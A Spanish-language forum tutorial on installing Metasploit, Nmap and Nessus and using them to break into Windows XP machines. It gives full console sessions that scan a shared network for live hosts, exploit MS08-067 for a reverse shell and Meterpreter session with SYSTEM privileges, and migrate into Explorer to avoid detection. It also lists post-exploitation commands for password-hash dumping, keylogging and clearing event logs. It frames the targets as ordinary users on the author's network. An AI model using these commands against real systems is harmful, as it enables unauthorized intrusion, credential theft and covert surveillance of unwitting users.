Introducción
Que es Metasploit Framework (MSF) ?
Según la Wikipedia: Es una herramienta para desarrollar y ejecutar exploits contra una máquina remota. Inicialmente fue creado utilizando el lenguaje de programación de scripting Perl, aunque actualmente el Metasploit Framework ha sido escrito de nuevo completamente en el lenguaje Ruby. (resumen)
Cuando debo utilizar MSF?
Como bien se ha dicho es una herramienta para ejecutar exploits, hechos por nosotros o bajados y compilados, y su utilización se realizara cuando encontremos equipos vulnerables a alguno de los exploits presentes en MSF.
Instalación
Primero que nada debemos ir al sitio oficial: [Tienes que estar registrado y conectado para ver este vínculo] para luego en la sección de Quick Links descargar la versión según nuestro SO, en mi caso descargo el archivo para UNIX.
Nota: El siguiente paso no es necesario en las versiones posteriores a la 3.3 de MSF ya que su instalacion varia .
Debido a que Ubuntu no trae por defecto el interprete de Ruby necesitamos instalarlo, ademas de una libreria para soporte SSL ya que sin ella, no nos funcionarían algunos de nuestros exploits:
Código:
sudo apt-get install ruby1.8 libopenssl-ruby1.8 rails
Una vez descargado el MSF desde su sitio oficial, lo posicionamos en nuestro directorio personal (/home/tu-usuario/), luego lo descomprimimos con click derecho> extraer aquí. Pero si son unos adictos a la terminal, lo descomprimimos así:
Código:
tar -xvvf framework-3.2.tar.gz
Eso nos creara un directorio llamado framework-3.2, al cual accederemos desde la terminal para invocar la consola de MSF:
Código:
cd framework-3.2
./msfconsole
Lo que nos devolverá una linda imagen (aunque seguramente sera distinta):
si te gusta mi wallpaper te lo mando por MP xD
Y a partir de este momento estamos listos para poder comenzar a teclear nuestros comandos para poder llegar a lograr nuestro objetivo: la explotación de vulnerabilidades con MSF.
Introducción a Nmap
Que es Nmap?
Según de la Wikipedia: Nmap es un programa de código abierto que sirve para efectuar rastreo de puertos escrito originalmente por Gordon Lyon (más conocido por su alias Fyodor Vaskovich). Se usa para evaluar la seguridad de sistemas informáticos, así como para descubrir servicios o servidores en una red informática.
En nuestra practica, Nmap nos servira para poder escanear los equipos a los cuales queramos enfocarnos, viendo sus servicios, puertos abiertos, SO, y demas cosas que veremos posteriormente.
Instalación
Nmap se encuentra en casi todos los repositorios de la mayoria de las distribuciones Gnu/Linux. En nuestro caso, hacemos uso del gestor de paquetes apt.
Código:
sudo apt-get install nmap
Con eso, estaría instalado perfectamente Nmap en su versión 4.x. Lastimosamente en este tuto no pienso enfocarme en el uso de Nmap, seria bueno que buscaran algunos tutos en Google para no estar preguntando para que sirve cada opción pero si aun así no las entienden, con gusto se las explicaría =)
Introducción a Nessus
No es necesaria si van a utilizar otro scanner
No es necesaria si van a utilizar otro scanner
Que es Nessus?
Según de la Wikipedia: Nessus es un programa de escaneo de vulnerabilidades en diversos sistemas operativos. Consiste en nessusd, el daemon Nessus, que realiza el escaneo en el sistema objetivo, y nessus, el cliente (basado en consola o gráfico) que muestra el avance y reporte de los escaneos
Podrían perfectamente utilizar cualquier otro scanner de vulnerabilidades como ser SSS o Acunetix.
Instalación de Nessus
Ingresamos a [Tienes que estar registrado y conectado para ver este vínculo]. Luego seleccionamos Nessus 4.0.2 for Linux y damos click en download. Aceptamos los terminos de licencia y luego descargamos el archivo correspondiente a nuestra distro, en mi caso elijo el archivo Ubuntu 8.10 and 9.04 (32 bits) (Nessus-4.0.2-ubuntu810_i386.deb).
Una vez haya finalizado la descarga, lo guardamos en nuestro directorio personal (/home/tu-usuario/) y lo instalamos con el gestor de paquetes de Ubuntu haciendo doble click, sino, desde la terminal:
Código:
sudo dpkg -i Nessus-4.0.2-ubuntu810_i386.deb
Luego nos tenemos que registrar para poder activar el demonio de Nessus (nessusd). Para ello vamos a [Tienes que estar registrado y conectado para ver este vínculo] y aceptamos la licencia. Ingresamos nuestra dirección de correo al cual sera enviado el código de activación. Luego agregamos un usuario que sera el “administrador” de Nessus.
Ejecutamos desde una terminal:
Citar
sudo /opt/nessus/sbin/nessus-adduser
Login : usuario-para-nessus
Authentication (pass/cert) : [pass] presionas_enter
Login password : escribis-la-pass
Login password (again) : volves-a-escribir-la-pass
Do you want this user to be a Nessus ‘admin’ user ? (can upload plugins, etc…) (y/n) [n]: y
Enter the rules for this user, and enter a BLANK LINE once you are done :
(the user can have an empty rules set) presionas enter
Login : el-usuario-que-ingresaste
Password : ***********
This user will have ‘admin’ privileges within the Nessus server
Rules :
Is that ok ? (y/n) [y] y
Luego ingresamos el código de activación:
Código:
sudo /opt/nessus/bin/nessus-fetch --register la-clave-que-te-enviaron-a-tu-correo
Listo, con eso deberia de aparecerles un mensaje en el que se indica que Nessus esta actualizando sus plugins. Para mas información deberían de consultar Google xD
Por ultimo, instalamos el cliente de Nessus, el que nos permitira interactuar con el demonio de Nessus graficamente:
Ingresamos a [Tienes que estar registrado y conectado para ver este vínculo] y selecciona NessusClient 4.0.2 (The Linux graphical interface for nessud) y le das en download. Aceptas la licencia y luego seleccionas el archivo correspondiente a tu distribución, en mi caso NessusClient-4.0.2-ubuntu810_i386.deb (Ubuntu 8.10 and 9.04 (32 bits).
Cuando la descarga termine, lo guardas en tu directorio personal (/home/tu-usuario/), junto al anterior, y luego lo instalas con el gestor de paquetes de Ubuntu haciendo doble click o desde la terminal:
Código:
sudo dpkg -i NessusClient-4.0.2-ubuntu810_i386.deb
Por ultimo reiniciamos el deamon de Nessus (nessusd):
Código:
sudo /etc/init.d/nessusd restart
Y listo!, p u t o nessus, ya lo podremos encontrar en el menu Aplicaciones>Internet.
Si en algun caso nos muestra algun tipo de error relacionado a que no se puede iniciar el deamon, verifiquemos los paso anteriores.
Hasta este punto, tenemos instados el servidor y el cliente Nessus, solo nos hace falta establecer la comunicación entre ambas partes.
Para hacerlo, abrimos el cliente gráfico desde el menú Aplicaciones>Internet, despues continuamos con los pasos explicados a continuacion:
1.- Botón para establecer la conexión
2.- Botón para agregar la conexión. En este paso nos parecerá la venta “Edit conexion”.
Aquí tendrán que establecer los datos que aparecen en la imagen. Los mas importantes son el host y el port, tienen que ser iguales al los de la imagen (si es que no se ha modificado el archivo de configuración),
3.- Escriben el nombre y pass del usuario que agregaron como “administrador” y luego le dan en Save. Luego la seleccionan y le dan en Connect. Les aparecerá un mensaje informando que es la primera conexión y le dan en Ok.
Para saber su funcionamiento deberán de buscar información sobre el mismo. Lo que hice fue únicamente mostrar su Instalación, ya que es considerada una de las partes mas “complicadas” (para sus ultimas versiones).
Buscando objetivos con Nmap
Una vez hayamos instalado las aplicaciones correspondientes, manos a la obra.
Primero que nada, vamos a escanear nuestra red para tener un objetivo cerca . Recuerden que esos “objetivos” son usuarios normales y no mantienen todo el día sus PC's encendidas y por lo general son equipos vulnerables, debemos ser rápidos ya que quizás durante el proceso de explotación, estos equipos se desconecten y nosotros estemos esperando una shell. LOL
Debo aclarar que la búsqueda de objetivos es especifica: encontrar equipos con el puerto 445 abierto. Por que? Porque es ese servicio el que buscamos explotar por esta primer intrusion.
En mi caso, tengo como objetivo un equipo de mi red con ip 10.21.37.179. Para hacer un scann eficiente y sencillo lo hacemos de la siguiente manera y como root:
Código:
nmap -v -sV 10.21.37.179
Con lo cual obtendremos un resultado similar a este:
Código:
rcart@rcart:~$ nmap -v -sV 10.21.37.179
Discovered open port 3389/tcp on 10.21.37.179
Discovered open port 139/tcp on 10.21.37.179
Discovered open port 445/tcp on 10.21.37.179
Host 10.21.37.179 appears to be up ... good.
Interesting ports on 10.21.37.179:
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
2869/tcp closed unknown
3389/tcp open microsoft-rdp Microsoft Terminal Service
Service Info: OS: Windows
Host script results:
| Discover OS Version over NetBIOS and SMB: Windows XP
|_ Discover system time over SMB: 2009-10-06 17:06:50 UTC+2
Esta un poco resumido, pero no va a variar mucho. Explico las opciones:
-v = verbose
-sV = Con esto obtenemos la versión del servicio que esta corriendo bajo un puerto determinado.
Con estos resultados estariamos listos para interactuar con Mestasploit. Pero primero debemos de analizar ese equipo en busca de vulnerabilidades con Nessus.
Si no saben ni por que objetivo comenzar, pueden hacer un “barrido” de red para saber que equipos “cercanos” a ustedes estan vivos. Lo hacemos asi:
Código:
nmap -sP 10.21.37.*
Y con eso obtendriamos un resultado similar a este:
Código:
root@rcart:/home/rcart/pentest/scanns# nmap -sP 10.21.37.*
Starting Nmap 4.76 ( [Tienes que estar registrado y conectado para ver este vínculo] ) at 2009-10-06 20:57 CST
Host 10.21.37.1 appears to be up.
MAC Address: 00:06:5B:DB:8B:8D (Dell Computer)
Host 10.21.37.2 appears to be up.
MAC Address: 00:E0:4D:72:35:73 (Internet Initiative Japan)
Host 10.21.37.3 appears to be up.
MAC Address: 00:0D:87:B2:B4:DD (Elitegroup Computer System Co. (ECS))
Host 10.21.37.72 appears to be up.
MAC Address: 00:E0:4C:A0:0A:F2 (Realtek Semiconductor)
Host 10.21.37.215 appears to be up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 4.43 seconds
root@rcart:/home/rcart/pentest/scanns#
Y como vemos, hay varios equipos que “appears to be up” (esta vivos) y pues ya tendríamos objetivos para poder buscar el puerto 445 abierto con el procedimiento de escaneo anterior.
Existen formas mas complejas pero eficientes de hacer scanns con Nmap, como por ejemplo escanear todos los equipos de nuestra red especificando el puerto 445 y otra variedad de alternativas.
NOTA: Las IP's usadas son de la red a la que pertenezco, ustedes deben utilizar las de su red o la que quieran.
Escaneando objetivos con Nessus
Esta etapa de buscar vulnerabilidades con Nessus no es tan dificil, ya los tenemos configurado y listo para funcionar. Solo hace falta crear una “política de scann” pero como Nessus es bastante intuitivo no creo que ese sea problema
Entonces, lo único que tenemos que hacer es agregar el objetivo escaneado con Nmap y que tiene el puerto 445 abierto. Luego le damos al Botón “Scan Now” y si todo ha salido bien, nos deberia de apararecer una imagen similar a esta:
Modifique un poco mi escritorio. Hermoso eh?
Como vemos, el servicio que nos mostro Nmap en el puerto 445/tcp “Microsoft Windows XP microsoft-ds” aparece completamente vulnerable. Hasta este punto estamos listos para “jugar” con esta maravillosa herramienta: Metasploit Framework.
Mi primera Intrusión con MSF
Despues de tanto, hemos podido encontrar un equipo con la vulnerabilidad que buscábamos y ha llegado el momento de proceder con la explotación.
Primero que nada conozcamos como esta dividido MSF (Metasploit Framework):
- Exploits: aquí encontramos todos los exploits disponibles en MSF y que podemos utilizar. Estan dividos por SO's y categoriras. Ejemplo: exploits/windows/browser/ y aquí econtrariamos los exploits disponibles para los navegadores que corren en el SO windows.
- Payloads: esta es una de las cosas mas importantes, es la accion que se va a realizar si se logra explotar la vulnerabilidad que selecccionamos. Ejemplo: windows/shell/reverse_tcp y con esto obtendriamos una shell inversa.
- Auxiliary: son scripts con diferentes funciones. Ejemplo: auxiliary/scanner/portscan/tcp y utilizando este scanner de puertos tcp, obtendriamos el estado de puertos y el servicio que esta corriendo bajo estos mismo. Muy util si no te gusta Nmap xD
- Enconders: son algoritmos de codificación para cuando hagamos ingeniería social y tengamos que evadir algunos antivirus. Muy importante conocerlo.
Ahora veamos los comandos que necesitaremos utilizar para poder desplazarnos por MSF:
- help: Nos muestra los comandos disponibles actualmente.
- show: Nos muestra todo el contenido de cada categoria: exploits, payloads, auxiliary encoders, NOP Generators. Aunque tambien podemos especificar una categoria. Ejemplo: show exploits.
- search: Busca cualquier objeto mediante una palabra clave. Ejemplo: search ftp
- info: Proporciona información sobre un exploit,payload, auxiliary, etc. Es muy importante ya que con este comando tambien podemos conocer la descripcion, referencias y equipos en los que se puede utilizar el objeto al que estamos invocando Ejemplo: info windows/ftp/proftp_banner
- use: Con este comando, establemos el objeto con el que vamos a trabajar; sea exploit o auxiliary que son con los que vamos a trabajar nosotros. Ejemplo: use exploits/windows/
- show options: Importantisimo. Si no conocemos como funciona algun exploit o auxiliary este comando nos ayudara muchisimo, aunque por lo general no requieren de muchos parametros. Se ejecuta despues que hayamos seleccionado el objeto: exploit, auxiliary o payload(unicamente si ya se ha seleccionado un exploit)
- set: Con este comando, establecemos los parametros necesarios de algun exploit o auxiliary. Los parametros dependen del objeto que hayamos seleccionado anteriormente. Por mecionar algun ejemplo:
set RHOST xxx.xxx.xxx.xxx, set RPORT 445, set LHOST xxx.xxx.xxx.xxx, set LPORT 2525. Son solo ejemplos. - set PAYLOAD: Este comando lo pongo aparte porque es importante conocerlo bien. Como mencione anteriormente los payloads es la accion que se realiza cuando un exploit ha explotado una vulnerabilidad correctamente. Lo utilizamos despues de haber seleccionado un exploit únicamente. Comunmente necesitamos establecer los parametros LHOST y LPORT.
- back: Con esto volveriamos a comenzar desde 0.
Ademas de esos comandos hay muchos otros que poco a poco los iremos viendo cada vez que sea necesario. Tambien debo aclarar que cuando entramos a la interfaz de consola (msfconsole) de MSF tambien podemos hacer uso de los comandos de nuestro SO Gnu/Linux como si estuviéramos en una consola normal.
Les recomiendo que antes de comenzar con la explotación naveguen un poco en MSF utilizando los comandos basicos que mencione anteriormente y cualquier cosa que vean interesante, para que se vallan familiarizando y asi se haga mas facil la practica.
Que exploit utilizaremos para la vulnerabilidad que nos mostró Nessus?
msf08_067_netapi.
Usen el comando info para ver los equipos que son vulnerables a este exploit y sus opciones ademas de otras cosas.
Ingresemos a la interfaz de consola de MSF para comenzar
Seleccionamos el exploit que vamos a utilizar:
Código:
msf > use exploit/windows/smb/ms08_067_netapi
Verificamos las opciones del exploit para ver cuales estan disponibles y cuales son necesarias para luego ingresarlas:
Código:
msf exploit(ms08_067_netapi) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) > set RHOST 10.21.37.179
RHOST => 10.21.37.179
msf exploit(ms08_067_netapi) >
Nota: las opciones que tienen “yes” en la columna “Required” significa que son obligatorias. Algunas se llenan automáticamente, otras hay que ingresarlas manualmente. Luego de ingresar el parametro set RHOST deberían de ver de nuevo las opciones para que vean como se llenan las opciones requeridas.
Ahora seleccionamos el PAYLOAD que vemos a utilizar. En esta ocacion comenzaremos con una simple shell, mas adelante utilizaremos otros.
Código:
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 10.21.37.179 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LHOST yes The local address
LPORT 4444 yes The local port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) > set LHOST 10.21.17.215
LHOST => 10.21.17.215
msf exploit(ms08_067_netapi) >
Como veran hemos ingresado los parametros requeridos tanto del exploit como del payload. Ahora solo nos falta verificar (show options) que todo este como queremos para luego ejecutar un comando que no he mencionado, pero es el mas esperado.
Código:
msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish
[*] Selected Target: Windows XP SP2 Spanish (NX)
[*] Triggering the vulnerability...
[*] Sending stage (240 bytes)
[*] Command shell session 1 opened (10.21.17.215:4444 -> 10.21.37.179:1035)
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
Wow! Al fin nuestra primera intrusión con MSF! Si no saben que hacer con la shell que acabamos de obtener, les recomendaria que mejor se vallan a ver la televisión LOL.
Conociendo los Modulos Auxiliares (Auxiliary)
Uno de los primeros pasos que se deben tomar para lograr una intrusion, es la recoleccion de informacion. Saber que SO y/o version estamos analizando, que puertos estan abiertos, que servicios, etc. Metasploit contiene una buena cantidad de modulos auxiliares que nos permiten obtener cierta informacion de nuestro objetivo. Se diferencian de los exploits por ser utilizados para la obtencion de informacion, es decir, con los modulos auxiliares no obtendremos ninguna shell, sin embargo nos serviran para llegar a lograrlo. Para ejecutar un modulo auxiliar, ingresamos el comando run.
Sintaxis para el uso de modulos auxiliares: Esta es muy simple y igual que los exploits, dependen del modulo que estemos utilizando. Los parametros basicos son: RHOSTS, RPORT y THREADS donde:
RHOST: es el objetivo y puede contener ragos, clases de redes, o varios hosts separados por comas
RPORT: es el puerto del servicio, el especificado por defecto no se cambia comunmente.
THREADS: Numero de hilos concurrentes, se cambian dependiente del numero de host que vamos a analizar.
Recordemos utilizar el comando info para conocer el modulo auxiliar y sus opciones.
En esta seccion, veremos los siguiente modulos auxiliares de tipo scanners:
- scanner/ssh/ssh_version
- scanner/portscan/tcp
- scanner/http/writable
- scanner/http/options
- scanner/http/wmap_files_dir
- scanner/ftp/anonymous
- scanner/smb/version
scanner/ssh/ssh_version: Este scanner, como su nombre lo dice, nos permite identificar la version del servidor ssh en un objetivo especifico. Veamos un ejemplo:
Seleccionamos el modulo auxiliar:
Código:
msf > use auxiliary/scanner/ssh/ssh_version
msf auxiliary(ssh_version) >
Luego observamos sus opciones y asignamos valores dependiendo de las que requiera:
Código:
msf auxiliary(ssh_version) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 22 yes The target port
THREADS 1 yes The number of concurrent threads
msf auxiliary(ssh_version) >
Como vemos, este modulo auxiliar contiene las opciones basicas, y como ya las conocemos las asignamos sin ningun problema para luego ejecutarlo con el comando run
Código:
msf auxiliary(ssh_version) > set RHOSTS 10.21.0.1
RHOSTS => 10.21.0.1
msf auxiliary(ssh_version) > run
[*] 10.21.0.1:22, SSH server version: SSH-1.5-Cisco-1.25
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_version) >
Como vemos, la version del servidor ssh es 1.5 y pertenece a un router Cisco, que es el router de mi ISP xD
scanner/portscan/tcp: Este modulo es un scanner de puertos TCP. Nos proporciona muy buenos resultados sobre los puertos abiertos en un objetivo especifico. Veamos:
Código:
msf > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in milliseconds
msf auxiliary(tcp) >
Las opciones son casi las mismas, no es necesario explicarlas. Veamos que resultados nos muestra:
Código:
msf auxiliary(tcp) > set RHOSTS 190.5.x.x
RHOSTS => 190.5.x.x
rmsf auxiliary(tcp) > run
[*] TCP OPEN 190.5.x.x:21
[*] TCP OPEN 190.5.x.x:80
[*] TCP OPEN 190.5.x.x:110
[*] TCP OPEN 190.5.x.x:111
[*] TCP OPEN 190.5.x.x:143
[*] TCP OPEN 190.5.x.x:443
[*] TCP OPEN 190.5.x.x:631
[*] TCP OPEN 190.5.x.x:954
[*] TCP OPEN 190.5.x.x:993
[*] TCP OPEN 190.5.x.x:995
[*] TCP OPEN 190.5.x.x:3128
[*] TCP OPEN 190.5.x.x:3306
[*] TCP OPEN 190.5.x.x:5432
[*] TCP OPEN 190.5.x.x:10000
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(tcp) >
Como vemos, obtenemos un excelente resultado de los puertos abiertos en el servidor 190.5.x.x. Este modolo auxiliar nos serviria de mucho si no contamos con un scanner de puertos.
scanner/http/writeble: Este scanner comprueba si estan permitidos los metodos PUT/DELETE en un servidor web y si esta permitido, seria un error devastador. Actualmente es muy dificil (por no decir imposible) de encontrar, pero es bueno conocerlo. Se ejecuta asi:
Código:
msf > use auxiliary/scanner/http/writable
msf auxiliary(writable) > set RHOST xxxxx.net
RHOST => xxxxx.net
msf auxiliary(writable) > run
[*] Upload failed on [Tienes que estar registrado y conectado para ver este vínculo] [405 Method Not Allowed]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(writable) >
Despues de ejecutar el modulo, nos muestra que los metodos PUT/DELETE no estan permitidos:"Upload failed on [Tienes que estar registrado y conectado para ver este vínculo] [405 Method Not Allowed]”
scanner/http/options: Con el modulo anterior ya vimos que no estan permitidas las opciones PUT/DELENTE. Ahora veremos como obtener las opciones habilitadas en un servidor web. Dependiendo de las opciones habilitadas tendremos alternativas para continuar con otros metodos externos a MSF. Veamos:
Código:
msf auxiliary(anonymous) > use auxiliary/scanner/http/options
msf auxiliary(options) > set RHOSTS xxxxx.net
RHOSTS => xxxxxx.net
msf auxiliary(options) > run
[*] 190.5.x.x allows GET,HEAD,POST,OPTIONS,TRACE methods
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(options) >
El resultado es simple y claro. Ademas esta un poco interensante xD
scanner/http/wmap_files_dir: Este modulo, nos muestra la estructura de directorios del servidor web especificado. Ejemplifiquemos:
Código:
msf auxiliary(wmap_dir_listing) > use auxiliary/scanner/http/wmap_files_dir
msf auxiliary(wmap_files_dir) > set RHOSTS xxxxx.hn
msf auxiliary(wmap_files_dir) > run
[*] Using code '404' as not found.
[*] Found [Tienes que estar registrado y conectado para ver este vínculo] 301
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(wmap_files_dir) >
En este resultado muestra unicamente el directorio “admin” debido a mi conexion (es una mierda) pero a ustedes deberia mostrar una buena lista de directorios.
scanner/ftp/anonymous: Con este modulo auxiliar, podriamos verificar si esta permitido el usuario anonimo en un servidor [Tienes que estar registrado y conectado para ver este vínculo] En esta prueba, instale un servidor ftp (vsftpd) en mi PC para comprobar la funcionalidad de este modulo auxiliar. El servidor ftp lo configure permitiendo el acceso a usuarios anonimos. Veamos:
Código:
msf auxiliary(writable) > use auxiliary/scanner/ftp/anonymous
msf auxiliary(anonymous) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf auxiliary(anonymous) > run
[*] 127.0.0.1:21 Anonymous READ (220 (vsFTPd 2.0.7))
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(anonymous) >
Como vemos, el resultado es el esperado. Nos muestra que el usuarios esta permitido: “Anonymous READ”. Pero si quisieran saber que resultado muestra cuando no esta permitido el usuario anonimo, con gusto lo demuestro:
Código:
msf auxiliary(writable) > use auxiliary/scanner/ftp/anonymous
msf auxiliary(anonymous) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf auxiliary(anonymous) > run
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(anonymous) >
Mismo modulo, mismo target y al parecer el modulo auxiliar se ejecuta, pero no muestra que esta habilitado el usuario anonimo en el servidor. Cumple perfectamente su proposito.
scanner/smb/version: Con este modulo podremos ver exactamente que SO y version se esta ejecutando en el objetivo:
Código:
msf > use auxiliary/scanner/smb/version
msf auxiliary(version) > set RHOSTS 10.21.49.12
msf auxiliary(version) > run
[*] 10.21.49.12 is running Windows XP Service Pack 2 (language: Spanish)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(version) >
Y asi se simple obtenemos el SO y version de nuestro objetivo.
Habran notado que en la mayoria de los modulos no mostre las opciones porque creo que son cosas que ya deberian de tomar en cuenta como necesarias y verlas por ustedes mismos. Utilicen los comandos basicos para navegar por la gran variedad de modulos auxiliares que nos proporciona Metasploit Framework y no tengan miedo de ver su definicion, opciones. Ya estan listos para conocer mas modulos auxiliares por ustedes mismos.
Como vemos, Metasploit Framework nos proporciona modulos auxiliares a nivel web que nos podrian ser de mucha ayuda en cualquier momento, ademas de modulos auxiliares que nos sirven para obtener informacion fundamental sobre nuestro objetivo.
Con esto hemos terminado por hoy. Creo que ya indiscutiblemente estamos listos para conocer el espectacular METERPRETER.
Conociendo Meterpreter
Despues de una basica (pero buena) introduccion a algunas de las funcionalidades de Metasploit Framework, hemos podido llegar a obtener nuestra primer shell, pero esto no termina aqui. Una de las primeras cosas que quisieramos hacer despues de obtener una shell, seria mantener nuestra presencia en el equipo remoto y es aqui en donde nos encontramos con el conjunto de scripts avanzados orientado a sistemas windows llamado Meterpreter.
Meterpreter nos permite automatizar el trabajo post-explotacion mediante scripts avanzados que nos facilitan tareas como la interaccion con el registro de windows (regedit), borrado de rastros, descargar/subir archivos, obtencion de passwords del sistema (hash dump), ejecucion de procesos, terminacion de procesos, edicion de archivos de texto, time stamp, etc.
Una de las cosas mas impresionantes de Meterpreter es la migracion de procesos; esto significa, que cuando explotamos la vulnerabilidad objetivo, no se crea un nuevo proceso (como normalmente se hace) sino que Meterpreter se carga en la memoria de uno de los procesos abiertos permitiendonos asi ser lo menos ruidosos que podamos y pasarnos de un proceso a otro sin ningun problema. Con esto no significa que seamos indetectables, pero nos ayuda a evitar ser detectados.
Como utilizamos Meterpreter?
Meterpreter lo encontramos entre los PAYLOADS y como cualquier payload, lo seleccionamos despues de haber puesto en uso un exploit. Comunmente no necesitamos cambiar las opciones por default, solo establecer el host local (LHOST) si el payload es inverso.
En este ejemplo vamos a utilizar los pasos seguidos en “Mi primera Intrusion con MSF” pero la unica diferencia sera el PAYLOAD a utilizar: Meterpreter.
Código:
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 10.21.49.12
RHOST => 10.21.49.12
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 10.21.17.215
LHOST => 10.21.17.215
msf exploit(ms08_067_netapi) >
Como vemos, hemos puesto en uso el exploit utilizado anteriormente y hemos seleccionado como PAYLOAD Meterpreter con conexion inversa. Les recomiendo, como siempre, utilizar tanto el comando info como el comando show options que seran nuestros aliados siempre. Depues de estar seguros que las opciones y parametros estan establecidos correctamente estamos listos para explotar el objetivo y obtener una sesion con Meterpreter. Que mejor que ver una imagen
Excelente, hemos explotado el sistema y abierto una session Meterpreter como lo esperabamos. Ahora conozcamos algunas de las funciones que nos proporciona Meterpreter y no hay mejor forma de hacerlo que utilizando el comando help o ?:
Comando background exit help irb migrate quit run use cat cd del download edit getlwd getwd lcd lpwd ls mkdir pwd rm rmdir upload ipconfig clearev execute getpid getuid kill ps reboot reg shell shutdown sysinfo keyscan_dump keyscan_start keyscan_stop hashdump | Descripcion Envia al segundo plano la sesion activa. Termina la sesion abierta de Meterpreter Muestra la ayuda Nos lanza al interprete de Ruby (irb). Migra de un proceso a otro Termina la sesion abierta de Meterpreter Ejecuta un script de Meterpreter. Presionando dos veces TAB veremos los disponibles. Carga una o mas extension de Meterpreter. Presionando dos veces TAB veremos los disponibles. Muestra el contenido de un archivo de texto. Cambia a un directorio Elimina un archivo especifico Descarga un archivo o directorio al equipo local Edita un archivo Muestra el directorio local en el que estamos trabajando Muestra el directorio remoto en el que estamos trabajando Cambia a un directorio local Muestra el directorio local en el que estamos trabajando Muestra los archivos contenidos en un directorio Crea un directorio Muestra el derectorio remoto en el que estamos trabajando Elimina un archivo especifico Elimina un directorio especifico Sube un archivo o directorio al equipo remoto Muestra las interfaces de red Elimina los logs almacenados en la aplicacion “Visor de Sucesos” Ejecuta un comando Muestra la identificacion del proceso en el que estamos Muestra el usuario en el que estamos actualmente Termina un proceso Muestra los procesos en ejecucion Reinicia el equipo remoto Modifica e interactua con el registro remoto Nos lanza a una consola en el equipo remoto Apaga el equipo remoto Nos muestra informacion sobre el equipo remoto Muestra las pulsaciones de teclas grabadas Empieza a capturar pulsaciones de teclas Detiene la captura de pulsaciones de teclas Muestra el contenido de la SAM (Contiene los usuarios y passwords encriptadas) |
Una vez hemos logrado explotar el sistema, seria bueno saber con que usuario estamos trabajando:
Código:
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
Jeje, como vemos tenemos todos los permisos sobre el sistema sin ninguna limitacion. Ahora lo que tenemo que hacer es migrar a otro proceso despues de haber hecho la intrusion para asegurar que nuestra conexion no se termine si el proceso (aplicacion) que hemos explotado se cierra, pero antes veamos en el proceso que estamos actualmente:
Código:
meterpreter > getpid #Aqui obtenemos el PID en el que estamos
Current pid: 1076 #Despues de la explotacion, Meterpreter se metio en este proceso
meterpreter > ps
Process list
============
PID Name Path
--- ---- ----
580 smss.exe \SystemRoot\System32\smss.exe
644 csrss.exe \??\C:\WINDOWS\system32\csrss.exe
676 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe
720 services.exe C:\WINDOWS\system32\services.exe
732 lsass.exe C:\WINDOWS\system32\lsass.exe
912 svchost.exe C:\WINDOWS\system32\svchost.exe
980 svchost.exe C:\WINDOWS\system32\svchost.exe
1076 svchost.exe C:\WINDOWS\System32\svchost.exe
1124 svchost.exe C:\WINDOWS\system32\svchost.exe
1232 svchost.exe C:\WINDOWS\system32\svchost.exe
1380 alg.exe C:\WINDOWS\System32\alg.exe
1492 Explorer.EXE C:\WINDOWS\Explorer.EXE
1656 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe
1832 VBoxTray.exe C:\WINDOWS\system32\VBoxTray.exe
1848 ctfmon.exe C:\WINDOWS\system32\ctfmon.exe
2032 WVSScheduler.exe C:\Archivos de programa\Acunetix\Web Vulnerability Scanner 6\WVSScheduler.exe
meterpreter >
Lo que tenemos que hacer es simplemente pasarle al comando migrate el PID al que queremos migrar. Lo hacemos asi:
Código:
meterpreter > migrate 1492
[*] Migrating to 1492...
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 1492
meterpreter >
Y en este proceso (Explorer) creo que podriamos mantenernos estables para hacer nuestro trabajo xD
Ahora veamos un poco como desplazarnos por el sistema de archivos del equipo remoto:
